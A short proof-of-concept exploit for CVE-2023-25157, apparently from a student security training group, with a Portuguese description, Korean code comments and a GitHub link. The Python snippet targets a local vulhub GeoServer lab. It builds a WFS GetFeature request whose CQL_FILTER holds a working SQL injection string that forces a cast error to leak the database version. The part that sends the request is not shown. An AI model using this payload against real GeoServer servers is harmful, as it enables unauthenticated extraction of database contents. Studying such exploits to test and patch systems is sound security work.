
Exploit de prova de conceito para CVE-2023-25157, uma vulnerabilidade de injeção SQL cega no parâmetro CQL_FILTER do WFS do GeoServer, permitindo extração de dados não autenticada.
White Hat 3ª turma [30º grupo] 김정우
Link do github - https://github.com/custiya/geoserver-CVE-2023-25157
# 대상 URL
url = "http://localhost:8080/geoserver/ows"
# CQL_FILTER에 들어갈 원본 인젝션 문자열 (URL 디코딩된 상태)
cql_filter = "strStartsWith(name,'x'') = true and 1=(SELECT CAST ((SELECT version()) AS integer)) -- ') = true"
# 파라미터 설정
params = {
"service": "wfs",
"version": "1.0.0",
"request": "GetFeature",
"typeName": "vulhub:example",
"CQL_FILTER": cql_filter
}
